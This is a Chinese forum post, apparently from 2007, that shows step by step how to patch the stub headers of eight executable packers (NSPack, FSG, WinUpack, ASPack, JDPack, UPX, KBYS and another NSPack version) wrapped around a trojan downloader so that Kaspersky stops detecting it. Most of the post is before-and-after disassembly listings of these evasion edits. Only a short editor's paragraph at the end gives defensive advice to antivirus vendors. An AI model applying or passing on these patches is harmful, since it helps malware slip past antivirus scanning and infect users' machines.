51Testing软件测试论坛

标题: 简单修改木马壳头让卡巴斯基哑口无言 [打印本页]

作者: 51testing 时间: 2007-12-13 13:39
标题: 简单修改木马壳头让卡巴斯基哑口无言
简介：在众多反病毒产品中，卡巴斯基在用户口碑相当不错，很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整，却有了惊人的发现——仅通过简单的壳头修改，卡巴大叔竟然无语了。　　“小样，你以为你穿了马甲我就不认识你了？”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。
　　众所周知，所谓“加壳”就是一种通过一系列数学运算，将可执行程序文件或动态链接库文件的编码进行改变，以达到缩小文件体积或加密程序编码的目的。运行时，外壳程序先被执行，然后由这个外壳程序负责将用户原有的程序在内存中解压缩，并把控制权交还给脱壳后的真正程序。一切操作自动完成，用户不知道也无需知道壳程序是如何运行的。一般情况下，加壳程序和未加壳程序的运行结果是一样的。
　　面对病毒编写者为其病毒“加壳”的问题，反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括，查壳、寻找OEP（入口点，防止被破解）、Dump（卸出）、修复等步骤。目前，脱壳能力强弱则成为杀毒软件查杀病毒能力如何的重要衡量指标。
　　病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。
　　在众多反病毒产品中，卡巴斯基在用户口碑相当不错，很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整，却有了惊人的发现——仅通过简单的壳头修改，卡巴大叔竟然无语了。
　　笔者随便在网络上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的，不然测试就没法进行了。虽然只修改了加在DT上的9，但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的，其中修改后的程序保证了程序的可再运行，不然这种修改是无意义的测试。开始操作，下面准备了八个最常见的壳。
　　一、首先对NSPACK3.6的测试
　　用OD载入被加过NSPACK壳的DT，复制出前十几行，如下（蓝色加粗是要被修改的部位，以下格式如一）
　　004CF302    E8 00000000    call 复件_(2).004CF307
　　004CF307    5D             pop ebp
　　004CF308    83C5 F9       sub ebp,7
　　004CF30B    8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
　　004CF311    8338 01       cmp dword ptr ds:[eax],1
　　004CF314    0F84 47020000 je 复件_(2).004CF561
　　004CF31A    C700 01000000 mov dword ptr ds:[eax],1
　　004CF320    8BD5          mov edx,ebp
　　004CF322    2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
　　004CF328    8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
　　004CF32E    1195 D0FEFFFF add dword ptr ss:[ebp-130],edx
　　004CF334    8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
　　004CF33A    1116          add dword ptr ds:[esi],edx
　　修改成如下(红色部分)
　　004CF302    E8 00000000    call 复件_(2).004CF307
　　004CF307    5D             pop ebp
　　004CF308    83C5 F9       add ebp,-7
　　004CF30B    8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-F4]
　　004CF311    8338 01       cmp dword ptr ds:[eax],1
　　004CF314    0F84 47020000 je 复件_(2).004CF561
　　004CF31A    C700 01000000 mov dword ptr ds:[eax],1
　　004CF320    8BD5          mov edx,ebp
　　004CF322    2B95 A0FEFFFF sub edx,dword ptr ss:[ebp-160]
　　004CF328    8995 A0FEFFFF mov dword ptr ss:[ebp-160],edx
　　004CF32E    1195 D0FEFFFF adc dword ptr ss:[ebp-130],edx
　　004CF334    8DB5 14FFFFFF lea esi,dword ptr ss:[ebp-EC]
　　004CF33A    1116          adc dword ptr ds:[esi],edx
　　之后保存文件，用卡巴扫描，不再报毒。
　　二、FSG2.0的测试
　　OD载入被FSG2.0加了壳的DT
　　复制出前十几行，如下
　　00400154 f>  8725 2C115300 xchg dword ptr ds:[53112C],esp
　　0040015A    61             popad
　　0040015B    94             xchg eax,esp
　　0040015C    55             push ebp
　　0040015D    A4             movs byte ptr es:[edi],byte ptr ds:>
　　0040015E    B6 80          mov dh,80
　　00400160    FF13          call dword ptr ds:[ebx]
　　00400162 ^ 77 F9          jnb short fsg2_0.0040015D
　　00400164    33C9          xor ecx,ecx
　　00400166    FF13          call dword ptr ds:[ebx]
　　00400168    77 16          jnb short fsg2_0.00400180
　　0040016A    33C0          xor eax,eax
　　修改后如下
　　00400154 f>  8725 2C115300 xchg dword ptr ds:[53112C],esp
　　0040015A    61             popad
　　0040015B    94             xchg eax,esp
　　0040015C    55             push ebp
　　0040015D    A4             movs byte ptr es:[edi],byte ptr ds:>
　　0040015E    B6 80          mov dh,80
　　00400160    FF13          call dword ptr ds:[ebx]
　　00400162 ^ 77 F9          ja short fsg2_0.0040015D
　　00400164    33C9          xor ecx,ecx
　　00400166    FF13          call dword ptr ds:[ebx]
　　00400168    77 16          ja short fsg2_0.00400180
　　0040016A    33C0          xor eax,eax
　　卡巴扫描，不再报毒。
　　三、winupack的测试
　　OD载入被加了壳的DT，如下
　　00526740 w>  60             pushad
　　00526741    E8 09000000    call winupack.0052674F
　　00526746    BE 651200E9    mov esi,E9001265
　　0052674B    06             push es
　　0052674C    1200          add al,byte ptr ds:[eax]
　　0052674E    1033          add byte ptr ds:[ebx],dh
　　00526750    C9             leave
　　00526751    5E             pop esi
　　00526752    870E          xchg dword ptr ds:[esi],ecx
　　00526754 ^ E3 F4          jecxz short winupack.0052674A
　　00526756    1BF1          sub esi,ecx
　　00526758    8BDE          mov ebx,esi
　　0052675A    AD             lods dword ptr ds:[esi]
　　0052675B    1BD8          sub ebx,eax
　　0052675D    AD             lods dword ptr ds:[esi]
　　做了修改的如下
　　00526740 w>  60             pushad
　　00526741    E8 09000000    call winupack.0052674F
　　00526746    BE 651200E9    mov esi,E9001265
　　0052674B    06             push es
　　0052674C    1200          adc al,byte ptr ds:[eax]
　　0052674E    1033          adc byte ptr ds:[ebx],dh
　　00526750    C9             leave
　　00526751    5E             pop esi
　　00526752    870E          xchg dword ptr ds:[esi],ecx
　　00526754 ^ E3 F4          jecxz short winupack.0052674A
　　00526756    1BF1          sbb esi,ecx
　　00526758    8BDE          mov ebx,esi
　　0052675A    AD             lods dword ptr ds:[esi]
　　0052675B    1BD8          sbb ebx,eax
　　0052675D    AD             lods dword ptr ds:[esi]
　　卡巴扫描，不再报毒。
　　四、ASPack的修改
　　同样OD载入复制出前面的十几行反汇编代码，注意这个在载入之后把滚动条再向上拉一行。复制出来如下
　　004CC000    90             nop
　　004CC001 a>  60             pushad
　　004CC002    E8 03000000    call asp.004CC00A
　　004CC007 - E9 EB045D45    jmp 45A9C4F7
　　004CC00C    55             push ebp
　　004CC00D    C3             retn
　　004CC00E    E8 01000000    call asp.004CC014
　　004CC013    EB 5D          jmp short asp.004CC072
　　004CC015    BB EDFFFFFF    mov ebx,-13
　　004CC01A    03DD          add ebx,ebp
　　004CC01C    81EB 00C00C00 sub ebx,0CC000
　　004CC022    83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
　　修改后如下，对照前面地址一一对应的修改
　　004CC000    60             pushad
　　004CC001 a>  90             nop
　　004CC002    E8 03000000    call asp.004CC00A
　　004CC007    E8 EB045D45    call 45A9C4F7
　　004CC00C    55             push ebp
　　004CC00D    C3             retn
　　004CC00E    E8 01000000    call asp.004CC014
　　004CC013    73 5D          jnb short asp.004CC072
　　004CC015    BB EDFFFFFF    mov ebx,-13
　　004CC01A    11EB          adc ebx,ebp
　　004CC01C    81C3 0040F3FF add ebx,FFF34000
　　004CC022    83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
　　卡巴扫描，不再报毒。
　　五 JDPACK的修改
　　这个是修改最复杂的一个。几乎面目全非了。但是能够保证运行的。修改前，如下
　　004CC000 复>  60             pushad
　　004CC001    E8 00000000    call 复件_(8).004CC006
　　004CC006    5D             pop ebp
　　004CC007    8BD5          mov edx,ebp
　　004CC009    81ED C62B4000 sub ebp,复件_(8).00402BC6
　　004CC00F    2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
　　004CC015    81EA 06000000 sub edx,6
　　004CC01B    8995 65344000 mov dword ptr ss:[ebp+403465],edx
　　004CC021    83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
　　修改后的
　　004CC000 复>  90             nop
　　004CC001    E8 00000000    call 复件_(8).004CC006
　　004CC006    5D             pop ebp
　　004CC007    8BC5          mov eax,ebp
　　004CC009    8BD0          mov edx,eax
　　004CC00B    81ED C62B4000 sub ebp,复件_(8).00402BC6
　　004CC011    2B95 61344000 sub edx,dword ptr ss:[ebp+403461]
　　004CC017    83C2 FA       add edx,-6
　　004CC01A    8995 65344000 mov dword ptr ss:[ebp+403465],edx
　　004CC020    90             nop
　　004CC021    83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
　　这个真的是让我改的面目全非了，不过你可以把004CC021前面的都NOP掉，然后一行一行汇编上去就可以了。
　　六、UPX的修改
　　UPX可以说是免费的最经典的压缩壳。我门来修改一下，OD载入。修改前，如下
　　004CE240 复>  60             pushad
　　004CE241    BE 00504700    mov esi,复件_(2).00475000
　　004CE246    8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
　　004CE24C    C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
　　004CE256    57             push edi
　　004CE257    83CD FF       or ebp,FFFFFFFF
　　004CE25A    EB 0E          jmp short 复件_(2).004CE26A
　　004CE25C    90             nop
　　004CE25D    90             nop
　　004CE25E    90             nop
　　004CE25F    90             nop
　　004CE260    8A06          mov al,byte ptr ds:[esi]
　　修改后如下
　　004CE240 复>  60             pushad
　　004CE241    BE 00504700    mov esi,复件_(2).00475000
　　004CE246    8DBE 00C0F8FF lea edi,dword ptr ds:[esi+FFF8C000]
　　004CE24C    C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
　　004CE256    57             push edi
　　004CE257    83CD FF       or ebp,FFFFFFFF
　　004CE25A    77 0E          ja short 复件_(2).004CE26A
　　004CE25C    73 0C          jnb short 复件_(2).004CE26A
　　004CE25E    72 0A          jb short 复件_(2).004CE26A
　　004CE260    8A06          mov al,byte ptr ds:[esi]
　　卡巴扫描，不再报毒。
　　七、NSPACK1.1的修改
　　看了一下这个和3.6版本不是一个样子的，所以这个也修改下。这个最简单一个指令卡巴就不发出那难听的叫声了。OD载入，如下
　　004CF600 复>  9C             pushfd
　　004CF601    60             pushad
　　004CF602    68 07F64C00    call 复件_(4).004CF607
　　004CF607    5D             pop ebp
　　修改如下
　　004CF600 复>  9C             pushfd
　　004CF601    60             pushad
　　004CF602    68 07F64C00    push 复件_(4).004CF607
　　004CF607    5D             pop ebp
　　八、堀北压缩（KBYS）0.28的修改
　　这个壳可以和UPX相媲美的压缩壳，但是没有UPX那么著名，只要是它压缩过的，卡巴大叔们都一路KILL。简单修改下，卡巴大叔安静了。OD载入，前四行如下
　　00401000 复> E8 F8C10C00 push 复件_(5).004CD1FD
　　00401005    68 0B104000 call 复件_(5).0040100B             ;  入口地址
　　0040100A \.  C3          retn
　　0040100B $  C3          retn
　　修改如下
　　00401000 复> E8 F8C10C00 call 复件_(5).004CD1FD
　　00401005    68 0B104000 push 复件_(5).0040100B             ;  入口地址
　　0040100A \.  C3          retn
　　0040100B $  C3          retn
　　以上是列举了八种壳，都是通过壳头的简单修改，就使得卡巴这个号称虚拟脱壳杀毒很强的世界顶级杀软沉默了，当然我们抛开它目前的主动防御杀毒，单从文件查杀上做了一次测试，

　　从中似乎能分析出卡巴对于脱壳，也似乎是象特征码那样，将壳的特征入库了，然后在利用脱壳引擎把壳脱掉去杀毒。如果这样，那许多壳的特征卡巴只放在了壳的头部，尤其这种压缩形式的壳是这样的，对于某些加密壳，壳头怎样修改都无用。以上也仅仅是一种猜测。
　　编者：作者通过简单的修改，使一个被杀的下载者逃过了卡巴斯基的查杀。其实，现在很多黑客都会通过修改木马的服务端来躲避杀毒软件的查杀。本文是以卡巴斯基为例子，相信大多数知名的杀毒软件都会遇到这类难题。编者认为杀毒软件对于一个壳不要简单只识别壳的头部来进行识别，取复合的壳特征码，这样会增加查杀力度。另外从KBYS这个压缩壳上也可以看出一个缺陷，卡巴通杀了加这个壳的可执行文件，但是似乎并未进行脱壳后的再查杀，所以只要让这个壳免杀，那加了壳的文件也就免杀了，杀的不彻底。另外，修改的过程中发现对于一些加密壳卡巴的查杀力度较大，这似乎对于不同种类的壳卡巴有不同的态度，但是纠其作为杀毒软件来说，应该是一次性的彻底取特征码。

欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/)